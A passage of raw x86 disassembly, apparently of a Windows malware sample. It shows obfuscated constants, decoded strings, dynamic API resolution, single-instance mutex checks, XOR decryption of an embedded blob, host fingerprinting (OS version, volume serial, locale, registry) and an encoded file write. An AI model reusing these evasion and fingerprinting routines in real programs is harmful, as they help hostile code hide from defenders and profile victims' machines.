push ds:dword_44737C[edi]
movsx edi, word_44A27C
add edi, 3Ch
push edi
push [ebp+var_120]
movsx edi, word_44A100
add edi, 4Ch
push edi
movsx edi, word_44A0C0
add edi, 94h
push edi
push 50000000h
mov edi, [ebp+var_2D8]
push edi
mov edi, [ebp+var_2D4]
push edi
movsx edi, word_44A1E0
movsx ebx, word_44A174
add edi, ebx
sub edi, 0Ah
push edi
call ds:dword_44864C ; CreateWindowExA
mov [ebp+var_25C], eax
push 1
push [ebp+var_130]
push 30h
push eax
call ds:dword_444014 ; SendMessageA
push offset dword_44AF18
call sub_43C507
mov [ebp+var_2E0], eax
push offset word_44AEFE
call sub_43C507
add esp, 18h
mov [ebp+var_2E4], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2E8], eax
mov edi, eax
push ds:dword_44737C[edi]
movsx edi, word_44A150
mov ebx, dword_44A288
lea edi, [edi+ebx+9]
push edi
mov edi, dword_44A1E4
add edi, 97h
push edi
mov edi, dword_44A1B0
add edi, 0F1h
add edi, dword_44A278
mov ebx, dword_44A198
add ebx, 1Eh
movsx edx, word_44A1E0
add ebx, edx
sub edi, ebx
push edi
movsx edi, word_44A0D0
add edi, 3
push edi
push 50800000h
mov edi, [ebp+var_2E4]
push edi
mov edi, [ebp+var_2E0]
push edi
mov edi, dword_44A17C
sub edi, 5
push edi
call ds:dword_44864C ; CreateWindowExA
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2EC], eax
mov ebx, eax
mov ds:dword_44738C[ebx], edi
push 1
push [ebp+var_130]
mov eax, 30h
push 30h
mul esi
mov [ebp+var_2F0], eax
push ds:dword_44738C[eax]
call ds:dword_444014 ; SendMessageA
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2F4], eax
mov [ebp+var_2F8], eax
push ds:dword_447380[eax]
call ds:dword_449628 ; GetWindowLongA
mov edi, [ebp+var_2F8]
mov ds:dword_447390[edi], eax
push offset sub_43F9F6
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2FC], eax
push ds:dword_447380[eax]
call ds:dword_4465FC ; SetWindowLongA
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_300], eax
mov [ebp+var_304], eax
push ds:dword_447384[eax]
call ds:dword_449628 ; GetWindowLongA
mov edi, [ebp+var_304]
mov ds:dword_447394[edi], eax
push offset sub_43F9F6
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_308], eax
push ds:dword_447384[eax]
call ds:dword_4465FC ; SetWindowLongA
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_30C], eax
mov [ebp+var_310], eax
push ds:dword_447388[eax]
call ds:dword_449628 ; GetWindowLongA
mov edi, [ebp+var_310]
mov ds:dword_447398[edi], eax
push offset sub_43F9F6
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_314], eax
push ds:dword_447388[eax]
call ds:dword_4465FC ; SetWindowLongA
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_318], eax
mov [ebp+var_31C], eax
push ds:dword_44737C[eax]
call ds:dword_449628 ; GetWindowLongA
mov edi, [ebp+var_31C]
mov ds:dword_44739C[edi], eax
push offset sub_43F9F6
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_320], eax
push ds:dword_44737C[eax]
call ds:dword_4465FC ; SetWindowLongA
mov eax, 30h
mul esi
mov [ebp+var_324], eax
push ds:dword_447380[eax]
call ds:dword_446A40 ; SetFocus
loc_43EBBA: ; CODE XREF: sub_43DB8B+10j
; sub_43DB8B+21j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43DB8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EBBF proc near ; DATA XREF: .data:0044A35Co
push ebp
mov ebp, esp
mov eax, dword_44A20C
add eax, dword_44A198
sub eax, 8
cmp ds:dword_449784, eax
jbe short loc_43EBE3
push offset dword_449784
call ds:dword_444010 ; InterlockedDecrement
loc_43EBE3: ; CODE XREF: sub_43EBBF+17j
mov eax, ds:dword_449784
pop ebp
retn 4
sub_43EBBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EBEC proc near ; DATA XREF: sub_43EC0A+16Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push edi
mov eax, [ebp+arg_4]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_446618 ; DefWindowProcA
pop edi
pop ebp
retn 10h
sub_43EBEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EC0A proc near ; DATA XREF: sub_44083E+Co
; sub_44083E+299o
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = byte ptr -144h
var_143 = byte ptr -143h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 15Ch
push ebx
push esi
push edi
call sub_439DDE
call sub_43B4B3
call sub_43B3CC
call sub_4394DD
call sub_440D4B
call sub_43969E
call sub_43C26E
call sub_43C1C6
call sub_4397A3
mov esi, eax
loc_43EC45: ; CODE XREF: sub_43EC0A+97j
call sub_4396F6
mov edx, eax
mov [ebp+var_144], dl
movzx eax, [ebp+var_144]
mov edx, dword_44A0A0
sub edx, 2
cmp eax, edx
jnz short loc_43EC7D
movsx eax, word_44A1DC
add eax, dword_44A194
sub eax, 9
push eax
call ds:dword_449664 ; ExitThread
loc_43EC7D: ; CODE XREF: sub_43EC0A+5Aj
movzx eax, [ebp+var_144]
mov edx, dword_44A1F8
sub edx, 2
cmp eax, edx
jnz short loc_43ECA3
mov eax, dword_44A228
add eax, 61h
push eax
call ds:dword_449630
pop ecx
jmp short loc_43EC45
; ---------------------------------------------------------------------------
loc_43ECA3: ; CODE XREF: sub_43EC0A+85j
or esi, esi
jnz loc_43ED5D
push offset byte_44AEF3
call sub_43C507
mov [ebp+var_154], eax
push offset byte_44AEE9
call sub_43C507
push eax
mov edx, [ebp+var_154]
push edx
lea edx, [ebp+var_143]
push edx
call ds:dword_449634
lea eax, [ebp+var_143]
push eax
push 0
push 0
call ds:dword_44961C ; CreateMutexA
mov ebx, eax
push offset byte_44AEDD
call sub_43C507
mov [ebp+var_158], eax
push offset byte_44AED3
call sub_43C507
mov edx, dword_44A234
add edx, dword_44A23C
sub edx, 7
push edx
push eax
mov edx, [ebp+var_158]
push edx
lea edx, [ebp+var_143]
push edx
call ds:dword_449634
add esp, 2Ch
lea eax, [ebp+var_143]
push eax
push 0
push 0
call ds:dword_44961C ; CreateMutexA
mov ebx, eax
or ebx, ebx
jnz short loc_43ED5D
movsx eax, word_44A0CC
add eax, dword_44A138
sub eax, 6
push eax
call ds:dword_449664 ; ExitThread
loc_43ED5D: ; CODE XREF: sub_43EC0A+9Bj
; sub_43EC0A+13Aj
push 0
call ds:dword_4465E8 ; GetModuleHandleA
mov edi, eax
push offset byte_44AEC9
call sub_43C507
mov [ebp+var_20], eax
mov [ebp+var_34], edi
lea eax, sub_43EBEC
mov [ebp+var_40], eax
push 7F00h
push 0
call ds:dword_447220 ; LoadCursorA
mov [ebp+var_2C], eax
push 7F03h
push 0
call ds:dword_449620 ; LoadIconA
mov [ebp+var_30], eax
and [ebp+var_24], 0
push 0
call ds:dword_445120 ; GetStockObject
mov [ebp+var_28], eax
mov [ebp+var_44], 3
mov eax, dword_44A1C4
add eax, dword_44A19C
sub eax, 0Bh
mov [ebp+var_3C], eax
mov eax, dword_44A108
movsx edx, word_44A0FC
add eax, edx
sub eax, 0Ch
mov [ebp+var_38], eax
lea eax, [ebp+var_44]
push eax
call ds:dword_4460DC ; RegisterClassA
push offset byte_44AEBF
call sub_43C507
mov [ebp+var_15C], eax
push offset byte_44AEB5
call sub_43C507
push 0
push edi
push 0
push 0
mov edx, dword_44A228
add edx, dword_44A1D8
sub edx, 0Ch
push edx
movsx edx, word_44A124
sub edx, 6
push edx
mov edx, dword_44A214
mov ecx, edx
sub ecx, 9
push ecx
movsx ecx, word_44A0E0
dec ecx
push ecx
push 0CA0000h
push eax
mov ecx, [ebp+var_15C]
push ecx
mov ecx, dword_44A254
add ecx, edx
mov edx, ecx
sub edx, 12h
push edx
call ds:dword_44864C ; CreateWindowExA
mov ds:dword_446610, eax
lea eax, [ebp+var_148]
push eax
push edi
call sub_43F122
add esp, 14h
mov [ebp+var_14C], eax
mov ds:off_449610, eax
mov eax, [ebp+var_148]
mov ds:dword_446614, eax
or esi, esi
jnz short loc_43EEA0
call sub_439B69
mov eax, dword_44A090
add eax, dword_44A110
sub eax, 8
mov ds:dword_449638, eax
jmp short loc_43EEB9
; ---------------------------------------------------------------------------
loc_43EEA0: ; CODE XREF: sub_43EC0A+27Aj
movsx eax, word_44A0C0
mov edx, dword_44A220
lea eax, [eax+edx+3A92h]
mov ds:dword_449638, eax
loc_43EEB9: ; CODE XREF: sub_43EC0A+294j
lea eax, [ebp+var_150]
push eax
mov eax, dword_44A1D8
add eax, dword_44A0DC
sub eax, 0Ch
push eax
push 0
push offset sub_4399CB
mov eax, dword_44A21C
add eax, dword_44A224
sub eax, 0Dh
push eax
push 0
call ds:dword_449B90 ; CreateThread
push eax
call ds:dword_448654 ; CloseHandle
or esi, esi
jnz short loc_43EF18
call sub_439B7B
call sub_43D6B1
jmp short loc_43EF18
; ---------------------------------------------------------------------------
loc_43EF04: ; CODE XREF: sub_43EC0A+330j
lea eax, [ebp+var_1C]
push eax
call ds:dword_44977C ; TranslateMessage
lea eax, [ebp+var_1C]
push eax
call ds:dword_444050 ; DispatchMessageA
loc_43EF18: ; CODE XREF: sub_43EC0A+2ECj
; sub_43EC0A+2F8j
movsx eax, word_44A174
sub eax, 7
push eax
mov eax, dword_44A134
sub eax, 8
push eax
push 0
lea eax, [ebp+var_1C]
push eax
call ds:dword_448630 ; GetMessageA
or eax, eax
jnz short loc_43EF04
pop edi
pop esi
pop ebx
leave
retn 4
sub_43EC0A endp
; =============== S U B R O U T I N E =======================================
sub_43EF43 proc near ; DATA XREF: .data:0044A3A4o
mov eax, 80004001h
retn 8
sub_43EF43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EF4B proc near ; DATA XREF: .data:0044A358o
push ebp
mov ebp, esp
push offset dword_449784
call ds:dword_446A3C ; InterlockedIncrement
mov eax, ds:dword_449784
pop ebp
retn 4
sub_43EF4B endp
; =============== S U B R O U T I N E =======================================
sub_43EF62 proc near ; CODE XREF: sub_44083E+25Cp
push edi
push offset byte_44AEA7
call sub_43C507
pop ecx
push eax
call ds:dword_4465E8 ; GetModuleHandleA
mov dword_44A298, eax
test eax, eax
jnz short loc_43EF95
push offset byte_44AE99
call sub_43C507
pop ecx
push eax
call ds:dword_447244 ; LoadLibraryA
mov dword_44A298, eax
loc_43EF95: ; CODE XREF: sub_43EF62+1Aj
push offset byte_44AE8F
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449630, eax
push offset dword_44AE84
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444030, eax
push offset dword_44AE7C
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444054, eax
push offset dword_44AE74
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446A38, eax
push offset word_44AE6A
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446A2C, eax
push offset dword_44AE60
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44964C, eax
push offset word_44AE56
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_448638, eax
push offset dword_44AE4C
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_448644, eax
push offset dword_44AE44
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449BAC, eax
push offset byte_44AE3B
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449600, eax
push offset byte_44AE31
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444020, eax
push offset word_44AE26
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449634, eax
push offset word_44AE1A
call sub_43C507
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44724C, eax
push offset dword_44AE10
call sub_43C507
add esp, 38h
push eax
push dword_44A298
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4461F4, eax
pop edi
retn
sub_43EF62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F122 proc near ; CODE XREF: sub_43EC0A+25Ap
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov eax, [ebp+arg_0]
mov esi, [eax+3Ch]
mov ecx, esi
add ecx, eax
mov eax, [ecx+28h]
mov edx, [ebp+arg_0]
lea esi, [eax+edx+0Dh]
movzx eax, byte ptr [esi]
xor eax, 4Dh
mov [ebp+var_1], al
movzx eax, byte ptr [esi+1]
mov edx, dword_44A18C
add edx, 200h
mov ebx, eax
imul ebx, edx
mov eax, dword_44A0EC
mov ecx, eax
add ecx, dword_44A09C
sub ecx, 7
jmp short loc_43F17A
; ---------------------------------------------------------------------------
loc_43F16C: ; CODE XREF: sub_43F122+5Aj
movzx eax, byte ptr [esi+ecx]
movzx edx, [ebp+var_1]
xor eax, edx
mov [esi+ecx], al
inc ecx
loc_43F17A: ; CODE XREF: sub_43F122+48j
cmp ecx, ebx
jb short loc_43F16C
mov eax, [ebp+arg_4]
mov [eax], ebx
mov eax, esi
pop esi
pop ebx
leave
retn
sub_43F122 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F189 proc near ; CODE XREF: sub_439B7B+ABp
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_198 = dword ptr -198h
var_193 = dword ptr -193h
var_18F = dword ptr -18Fh
var_18B = dword ptr -18Bh
var_187 = dword ptr -187h
var_183 = dword ptr -183h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ACh
push esi
push edi
mov edi, [ebp+arg_0]
mov byte ptr [edi], 0
mov [ebp+var_193], 94h
lea eax, [ebp+var_193]
push eax
call ds:dword_449B98 ; GetVersionExA
cmp [ebp+var_183], 1
jnz short loc_43F1CF
push offset word_44AE0A
call sub_43C507
push eax
push edi
call ds:dword_444020
add esp, 0Ch
loc_43F1CF: ; CODE XREF: sub_43F189+2Fj
cmp [ebp+var_183], 2
jnz short loc_43F1ED
push offset dword_44AE04
call sub_43C507
push eax
push edi
call ds:dword_449634
add esp, 0Ch
loc_43F1ED: ; CODE XREF: sub_43F189+4Dj
push offset dword_44ADF8
call sub_43C507
push [ebp+var_187]
push [ebp+var_18B]
push [ebp+var_18F]
push eax
lea esi, [ebp+var_FF]
push esi
call ds:dword_449634
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_444020
push offset byte_44ADF1
call sub_43C507
mov esi, dword_44A244
sub esi, 4
push esi
push 0
lea esi, [ebp+var_19C]
push esi
lea esi, [ebp+var_19C]
push esi
lea esi, [ebp+var_198]
push esi
push 0FFh
lea esi, [ebp+var_FF]
push esi
push eax
call ds:dword_449614 ; GetVolumeInformationA
push offset byte_44ADE9
call sub_43C507
push [ebp+var_198]
push eax
lea esi, [ebp+var_FF]
push esi
call ds:dword_449634
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_444020
push 0FFh
lea eax, [ebp+var_FF]
push eax
movsx eax, word_44A24C
movsx edx, word_44A1E0
add eax, edx
sub eax, 9
push eax
push 400h
call ds:dword_4465F8 ; GetLocaleInfoA
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_444020
push offset dword_44ADE4
call sub_43C507
push eax
push edi
call ds:dword_444020
mov [ebp+var_1A0], 0FFh
push offset byte_44ADB7
call sub_43C507
mov [ebp+var_1AC], eax
push offset asc_44ADAA ; "\t"
call sub_43C507
lea esi, [ebp+var_1A8]
push esi
lea esi, [ebp+var_1A0]
push esi
lea esi, [ebp+var_FF]
push esi
push eax
mov esi, [ebp+var_1AC]
push esi
push 80000002h
call sub_43C3CE
add esp, 70h
mov [ebp+var_1A4], eax
mov eax, dword_44A15C
sub eax, 8
cmp [ebp+var_1A4], eax
jnz short loc_43F34F
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_444020
add esp, 8
loc_43F34F: ; CODE XREF: sub_43F189+1B3j
pop edi
pop esi
leave
retn
sub_43F189 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F353 proc near ; CODE XREF: sub_439B7B+C7p
; sub_43AF47+3D1p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, dword_44A1D4
sub esi, 2
jmp short loc_43F39B
; ---------------------------------------------------------------------------
loc_43F367: ; CODE XREF: sub_43F353+4Bj
call ds:dword_449BAC
movsx edi, word_44A22C
mov edx, dword_44A214
lea edi, [edi+edx+51h]
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
add edi, eax
mov edx, edi
mov [ebx+esi], dl
inc esi
loc_43F39B: ; CODE XREF: sub_43F353+12j
cmp esi, [ebp+arg_4]
jl short loc_43F367
mov eax, [ebp+arg_4]
mov edx, dword_44A190
sub edx, 2
mov [ebx+eax], dl
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43F353 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F3B6 proc near ; DATA XREF: sub_439B7B+85o
; sub_439B7B+90o
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = byte ptr -110h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 118h
push ebx
push esi
push edi
movsx eax, word_44A1F0
sub eax, 3
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43F3E8
push offset dword_4460F0
lea eax, [ebp+var_110]
push eax
call sub_442F8C
jmp short loc_43F3F9
; ---------------------------------------------------------------------------
loc_43F3E8: ; CODE XREF: sub_43F3B6+1Dj
push offset dword_447260
lea eax, [ebp+var_110]
push eax
call sub_442F8C
loc_43F3F9: ; CODE XREF: sub_43F3B6+30j
push 0
movsx eax, word_44A160
dec eax
push eax
push 4
push 0
mov eax, dword_44A18C
movsx edx, word_44A240
add eax, edx
sub eax, 2
push eax
push 40000000h
lea eax, [ebp+var_110]
push eax
call ds:dword_449788 ; CreateFileA
mov [ebp+var_8], eax
push 2
push 0
mov eax, dword_44A1A0
add eax, dword_44A210
sub eax, 4
push eax
push [ebp+var_8]
call ds:dword_449B9C ; SetFilePointer
push offset word_44ADA2
call sub_43C507
pop ecx
push 0
lea edx, [ebp+var_C]
push edx
movsx edx, word_44A0B0
movsx ecx, word_44A1B4
add edx, ecx
sub edx, 7
push edx
push eax
push [ebp+var_8]
call ds:dword_449B8C ; WriteFile
push 493E0h
push 40h
call ds:dword_446A34 ; LocalAlloc
mov ebx, eax
push 61A80h
push 40h
call ds:dword_446A34 ; LocalAlloc
mov esi, eax
mov eax, dword_44A1BC
sub eax, 9
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43F4B6
mov eax, [ebp+arg_0]
inc eax
push eax
push ebx
call sub_442F8C
jmp short loc_43F4BF
; ---------------------------------------------------------------------------
loc_43F4B6: ; CODE XREF: sub_43F3B6+F1j
push [ebp+arg_0]
push ebx
call sub_442F8C
loc_43F4BF: ; CODE XREF: sub_43F3B6+FEj
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43F4C4: ; CODE XREF: sub_43F3B6+113j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F4C4
mov [ebp+var_4], eax
mov edi, dword_44A28C
sub edi, 6
jmp short loc_43F4FF
; ---------------------------------------------------------------------------
loc_43F4D9: ; CODE XREF: sub_43F3B6+14Cj
movzx eax, byte ptr [ebx+edi]
mov [ebp+var_114], eax
mov eax, edi
mul edi
mov [ebp+var_118], eax
mov eax, [ebp+var_114]
mov edx, [ebp+var_118]
add eax, edx
mov [ebx+edi], al
inc edi
loc_43F4FF: ; CODE XREF: sub_43F3B6+121j
cmp edi, [ebp+var_4]
jb short loc_43F4D9
mov eax, dword_44A0C4
add eax, 61A79h
push eax
push esi
push [ebp+var_4]
push ebx
call sub_43AE20
add esp, 10h
movsx eax, word_44A260
mov edi, eax
add edi, dword_44A224
sub edi, 7
jmp short loc_43F545
; ---------------------------------------------------------------------------
loc_43F530: ; CODE XREF: sub_43F3B6+19Dj
cmp byte ptr [esi+edi], 2Bh
jnz short loc_43F53A
mov byte ptr [esi+edi], 28h
loc_43F53A: ; CODE XREF: sub_43F3B6+17Ej
cmp byte ptr [esi+edi], 3Dh
jnz short loc_43F544
mov byte ptr [esi+edi], 29h
loc_43F544: ; CODE XREF: sub_43F3B6+188j
inc edi
loc_43F545: ; CODE XREF: sub_43F3B6+178j
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43F54A: ; CODE XREF: sub_43F3B6+199j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F54A
cmp edi, eax
jb short loc_43F530
mov eax, dword_44A12C
sub eax, 8
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43F596
push offset byte_44AD9D
call sub_43C507
add esp, 4
push 0
lea edi, [ebp+var_C]
push edi
mov edi, dword_44A244
movsx edx, word_44A0B0
add edi, edx
sub edi, 0Ah
push edi
push eax
push [ebp+var_8]
call ds:dword_449B8C ; WriteFile
loc_43F596: ; CODE XREF: sub_43F3B6+1AEj
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43F59B: ; CODE XREF: sub_43F3B6+1EAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F59B
push 0
lea edx, [ebp+var_C]
push edx
mov edx, dword_44A110
add edx, dword_44A238
sub edx, 4
mov edi, eax
add edi, edx
push edi
push esi
push [ebp+var_8]
call ds:dword_449B8C ; WriteFile
push [ebp+var_8]
call ds:dword_448654 ; CloseHandle
push ebx
call ds:dword_44661C ; LocalFree
push esi
call ds:dword_44661C ; LocalFree
pop edi
pop esi
pop ebx
leave
retn
sub_43F3B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F5E2 proc near ; CODE XREF: sub_439B69+2p
; sub_439B69+9p
var_104 = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
lea eax, [ebp+var_104]
push eax
mov eax, dword_44A1D0
sub eax, 7
push eax
push 0
push [ebp+arg_0]
push 0
call ds:dword_446A44
mov edi, eax
or edi, edi
jnz short loc_43F63A
push offset dword_44AD98
call sub_43C507
push eax
lea edi, [ebp+var_104]
push edi
call ds:dword_444020
push 1
push 43h
lea eax, [ebp+var_104]
push eax
call sub_43D357
add esp, 18h
loc_43F63A: ; CODE XREF: sub_43F5E2+2Bj
pop edi
leave
retn
sub_43F5E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F63D proc near ; CODE XREF: sub_439857+FCp
; sub_43D6B1+17Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov eax, dword_44A26C
movsx edx, word_44A118
mov esi, eax
add esi, edx
sub esi, 0Ch
lea eax, [ebp+var_4]
push eax
push offset dword_44BA38
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr ds:0[ebx]
mov edi, eax
mov eax, dword_44A1D4
sub eax, 2
cmp edi, eax
jz short loc_43F680
xor eax, eax
jmp short loc_43F6DE
; ---------------------------------------------------------------------------
loc_43F680: ; CODE XREF: sub_43F63D+3Dj
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8]
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+10h]
mov edi, eax
mov eax, dword_44A0B8
sub eax, 3
cmp edi, eax
jnz short loc_43F6D3
push [ebp+arg_C]
push [ebp+arg_4]
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+14h]
mov edi, eax
mov eax, dword_44A1CC
add eax, dword_44A284
sub eax, 0Fh
cmp edi, eax
jnz short loc_43F6CA
mov esi, dword_44A244
sub esi, 3
loc_43F6CA: ; CODE XREF: sub_43F63D+82j
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43F6D3: ; CODE XREF: sub_43F63D+5Fj
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, esi
loc_43F6DE: ; CODE XREF: sub_43F63D+41j
pop edi
pop esi
pop ebx
leave
retn
sub_43F63D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F6E3 proc near ; CODE XREF: sub_43DB8B+463p
; sub_43DB8B+47Fp
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_442F6C
push ebx
push esi
push edi
push 5
push [ebp+arg_0]
call ds:dword_444004 ; GetWindow
mov edi, eax
loc_43F700: ; CODE XREF: sub_43F6E3+7Dj
or edi, edi
jnz short loc_43F708
xor eax, eax
jmp short loc_43F762
; ---------------------------------------------------------------------------
loc_43F708: ; CODE XREF: sub_43F6E3+1Fj
push 0FFFh
lea eax, [ebp+var_FFF]
push eax
push edi
call ds:dword_445010 ; GetClassNameA
movsx eax, word_44A144
sub eax, 5
push eax
push [ebp+arg_4]
lea eax, [ebp+var_FFF]
push eax
call sub_4384B5
add esp, 0Ch
movsx esi, word_44A124
movsx ebx, word_44A170
lea esi, [esi+ebx+0FFF7h]
cmp eax, esi
jz short loc_43F755
mov eax, edi
jmp short loc_43F762
; ---------------------------------------------------------------------------
loc_43F755: ; CODE XREF: sub_43F6E3+6Cj
push 2
push edi
call ds:dword_444004 ; GetWindow
mov edi, eax
jmp short loc_43F700
; ---------------------------------------------------------------------------
loc_43F762: ; CODE XREF: sub_43F6E3+23j
; sub_43F6E3+70j
pop edi
pop esi
pop ebx
leave
retn
sub_43F6E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F767 proc near ; CODE XREF: sub_43858C+209p
; sub_43858C+220p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_44A290, 0
jnz short loc_43F78F
push offset dword_449BC0
call ds:dword_445008 ; InitializeCriticalSection
mov dword_44A290, 1
loc_43F78F: ; CODE XREF: sub_43F767+11j
mov esi, dword_44A1D8
sub esi, 3
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+2]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
movsx edx, word_44A0BC
sub edx, 7
imul ebx, edx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, dword_44A0AC
add edx, 5
cmp eax, edx
jz loc_43F852
push offset dword_449BC0
call ds:dword_449660 ; RtlEnterCriticalSection
mov eax, dword_44A110
inc eax
mov [ebp+var_2], ax
jmp short loc_43F80D
; ---------------------------------------------------------------------------
loc_43F7E9: ; CODE XREF: sub_43F767+B0j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+4]
xor edx, ecx
mov [eax], dl
movzx eax, [ebp+var_2]
mov edx, dword_44A09C
sub edx, 3
add eax, edx
mov [ebp+var_2], ax
loc_43F80D: ; CODE XREF: sub_43F767+80j
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_43F7E9
mov eax, dword_44A1F8
sub eax, 3
mov edx, dword_44A258
sub edx, 2
mov [edi+eax], dl
mov eax, dword_44A21C
add eax, dword_44A114
sub eax, 0Eh
mov edx, dword_44A128
sub edx, 9
mov [edi+eax], dl
push offset dword_449BC0
call ds:dword_448650 ; RtlLeaveCriticalSection
loc_43F852: ; CODE XREF: sub_43F767+65j
lea eax, [edi+6]
pop edi
pop esi
pop ebx
leave
retn
sub_43F767 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F85A proc near ; CODE XREF: sub_43B982+24p
; sub_43D8DE+25p ...
var_10C = dword ptr -10Ch
